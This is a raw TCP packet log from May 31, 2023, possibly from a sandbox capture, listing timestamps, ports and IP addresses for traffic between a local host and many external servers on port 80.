May 31, 2023 14:50:00.163729906 CEST	49740	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:00.174666882 CEST	80	49744	77.68.50.105	192.168.2.3
May 31, 2023 14:50:00.175179005 CEST	80	49744	77.68.50.105	192.168.2.3
May 31, 2023 14:50:00.175343037 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:00.214390993 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:00.233814001 CEST	80	49724	135.181.73.98	192.168.2.3
May 31, 2023 14:50:00.233954906 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:00.248230934 CEST	80	49744	77.68.50.105	192.168.2.3
May 31, 2023 14:50:00.248330116 CEST	80	49744	77.68.50.105	192.168.2.3
May 31, 2023 14:50:00.248807907 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:00.289812088 CEST	80	49740	66.94.119.160	192.168.2.3
May 31, 2023 14:50:00.290533066 CEST	80	49740	66.94.119.160	192.168.2.3
May 31, 2023 14:50:00.290599108 CEST	49740	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:00.320534945 CEST	80	49734	60.43.154.138	192.168.2.3
May 31, 2023 14:50:00.320751905 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:00.325773001 CEST	49745	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:00.325803041 CEST	49746	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:00.343539000 CEST	49740	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:00.345558882 CEST	80	49746	13.248.169.48	192.168.2.3
May 31, 2023 14:50:00.346525908 CEST	49746	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:00.371071100 CEST	80	49745	195.78.66.50	192.168.2.3
May 31, 2023 14:50:00.373682976 CEST	49745	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:00.403235912 CEST	49746	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:00.403491020 CEST	49745	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:00.423135996 CEST	80	49746	13.248.169.48	192.168.2.3
May 31, 2023 14:50:00.448820114 CEST	80	49745	195.78.66.50	192.168.2.3
May 31, 2023 14:50:00.450273991 CEST	80	49745	195.78.66.50	192.168.2.3
May 31, 2023 14:50:00.450362921 CEST	49745	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:00.470702887 CEST	80	49740	66.94.119.160	192.168.2.3
May 31, 2023 14:50:00.473311901 CEST	49740	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:00.626494884 CEST	80	49746	13.248.169.48	192.168.2.3
May 31, 2023 14:50:00.626646996 CEST	49746	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:00.686296940 CEST	49747	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:00.734667063 CEST	49748	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:00.736156940 CEST	49749	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:00.758270979 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758331060 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758431911 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758481979 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758531094 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758552074 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.758589029 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758629084 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.758639097 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758683920 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758699894 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.758728981 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.758728981 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758783102 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.758789062 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.758805037 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.758949041 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.759054899 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.759102106 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.759164095 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.759164095 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.764807940 CEST	80	49739	81.2.194.241	192.168.2.3
May 31, 2023 14:50:00.765537024 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:00.766911030 CEST	80	49749	188.166.152.188	192.168.2.3
May 31, 2023 14:50:00.769426107 CEST	49749	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:00.770184994 CEST	49749	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:00.800923109 CEST	80	49749	188.166.152.188	192.168.2.3
May 31, 2023 14:50:00.802011967 CEST	80	49749	188.166.152.188	192.168.2.3
May 31, 2023 14:50:00.802194118 CEST	49749	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:00.832118034 CEST	80	49748	165.227.252.190	192.168.2.3
May 31, 2023 14:50:00.833488941 CEST	49748	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:00.844770908 CEST	49748	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:00.877583027 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:00.897918940 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.897988081 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898067951 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898113966 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898163080 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898232937 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898240089 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.898283005 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898300886 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.898300886 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.898329973 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898339987 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.898375034 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898421049 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.898432016 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.898478985 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.899234056 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.899286985 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.899332047 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.899375916 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.899415970 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.899422884 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.899451017 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.899482965 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.900199890 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.900233030 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.900291920 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.900337934 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.900367022 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.900404930 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.900459051 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.901161909 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.901192904 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.901220083 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.901241064 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.901300907 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.941097021 CEST	80	49748	165.227.252.190	192.168.2.3
May 31, 2023 14:50:00.941282988 CEST	80	49748	165.227.252.190	192.168.2.3
May 31, 2023 14:50:00.941373110 CEST	49748	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:00.971884966 CEST	49751	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:00.988459110 CEST	80	49751	23.227.38.74	192.168.2.3
May 31, 2023 14:50:00.988681078 CEST	49751	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:01.039351940 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.039410114 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.039489985 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.039534092 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.039582014 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.039628029 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.039673090 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.039732933 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.039803982 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.040316105 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.040385008 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.040410042 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.040455103 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.040466070 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.040498972 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.040507078 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.040535927 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.040549994 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.040596008 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.041100025 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.041150093 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.041165113 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.041198015 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.041227102 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.041244984 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.041251898 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.041305065 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.041313887 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.041368008 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.042026043 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.042073011 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.042117119 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.042129040 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.042160988 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.042170048 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.042207003 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.042212009 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.042259932 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.043023109 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.043070078 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.043107986 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.043112040 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.043133020 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.043158054 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.043169975 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.043204069 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.043211937 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.043260098 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.043976068 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.044023991 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.044053078 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.044070005 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.044070959 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.044116020 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.044121027 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.044162989 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.044167995 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.044214964 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.044934034 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.044991016 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.044996023 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.045052052 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.045057058 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.045104027 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.045108080 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.045149088 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.045156956 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.045200109 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.045928001 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.045974970 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.046017885 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.046030045 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.046062946 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.046073914 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.046107054 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.046116114 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.046160936 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.046927929 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.046974897 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.047018051 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.047023058 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.047023058 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.047060966 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.047075033 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.047105074 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.047120094 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.047158957 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.047873020 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.048203945 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.073924065 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.074054956 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.084420919 CEST	49751	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:01.101042986 CEST	80	49751	23.227.38.74	192.168.2.3
May 31, 2023 14:50:01.188930988 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189017057 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189065933 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189110041 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189158916 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189204931 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189253092 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.189263105 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189311981 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.189328909 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189388037 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.189388037 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.189393044 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189440966 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.189517975 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.189518929 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.190197945 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.190244913 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.190275908 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.190290928 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.190299988 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.190337896 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.190340996 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.190387964 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.190871000 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.190917969 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.190953016 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.190957069 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.190960884 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191004992 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191016912 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.191049099 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191054106 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.191098928 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.191790104 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191833973 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191860914 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.191878080 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191880941 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.191922903 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191926003 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.191966057 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.191973925 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.192013979 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.192720890 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.192768097 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.192795992 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.192812920 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.192820072 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.192861080 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.192868948 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.192929029 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.192940950 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.192984104 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.193617105 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:01.193715096 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:01.234971046 CEST	80	49751	23.227.38.74	192.168.2.3
May 31, 2023 14:50:01.235109091 CEST	49751	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:01.375171900 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.431077957 CEST	49752	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:01.574022055 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.574062109 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.574095011 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.574104071 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.574129105 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.574130058 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.574198008 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.584880114 CEST	80	49703	80.93.82.33	192.168.2.3
May 31, 2023 14:50:01.584995985 CEST	49703	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:01.613069057 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:01.614583015 CEST	49754	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:01.616168976 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:01.626852989 CEST	49756	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:01.627907991 CEST	80	49752	122.128.109.107	192.168.2.3
May 31, 2023 14:50:01.628002882 CEST	49752	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:01.628448963 CEST	49752	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:01.629328012 CEST	80	49746	13.248.169.48	192.168.2.3
May 31, 2023 14:50:01.629401922 CEST	49746	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:01.650042057 CEST	80	49754	213.186.33.40	192.168.2.3
May 31, 2023 14:50:01.651463032 CEST	49754	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:01.652190924 CEST	49754	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:01.720623970 CEST	80	49754	213.186.33.40	192.168.2.3
May 31, 2023 14:50:01.733505964 CEST	80	49755	96.127.180.42	192.168.2.3
May 31, 2023 14:50:01.734210014 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:01.734596014 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:01.770772934 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.770817995 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.770840883 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.770864010 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.770885944 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.770920992 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.770946026 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.770984888 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.771028996 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.771114111 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.791585922 CEST	80	49756	69.163.218.51	192.168.2.3
May 31, 2023 14:50:01.793562889 CEST	49756	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:01.794365883 CEST	80	49753	208.109.214.162	192.168.2.3
May 31, 2023 14:50:01.797422886 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:01.822760105 CEST	80	49752	122.128.109.107	192.168.2.3
May 31, 2023 14:50:01.823904037 CEST	80	49752	122.128.109.107	192.168.2.3
May 31, 2023 14:50:01.825212955 CEST	80	49754	213.186.33.40	192.168.2.3
May 31, 2023 14:50:01.825428963 CEST	49752	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:01.825438976 CEST	49754	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:01.832442999 CEST	49756	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:01.832757950 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:01.833281994 CEST	80	49701	70.39.251.249	192.168.2.3
May 31, 2023 14:50:01.833368063 CEST	49701	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:01.851902962 CEST	80	49755	96.127.180.42	192.168.2.3
May 31, 2023 14:50:01.853060007 CEST	80	49755	96.127.180.42	192.168.2.3
May 31, 2023 14:50:01.853169918 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:01.902072906 CEST	49754	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:01.917300940 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:01.934437990 CEST	80	49754	213.186.33.40	192.168.2.3
May 31, 2023 14:50:01.935585976 CEST	80	49754	213.186.33.40	192.168.2.3
May 31, 2023 14:50:01.935709953 CEST	49754	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:01.967784882 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.967844009 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.967890024 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.967931032 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.967936993 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.967931032 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.967979908 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968013048 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968024969 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968060017 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968067884 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968105078 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968120098 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968148947 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968178034 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968190908 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968204975 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968235970 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968308926 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968358040 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968369007 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968369007 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968369007 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968405008 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968408108 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968453884 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968463898 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968499899 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968509912 CEST	49750	80	192.168.2.3	154.203.14.100
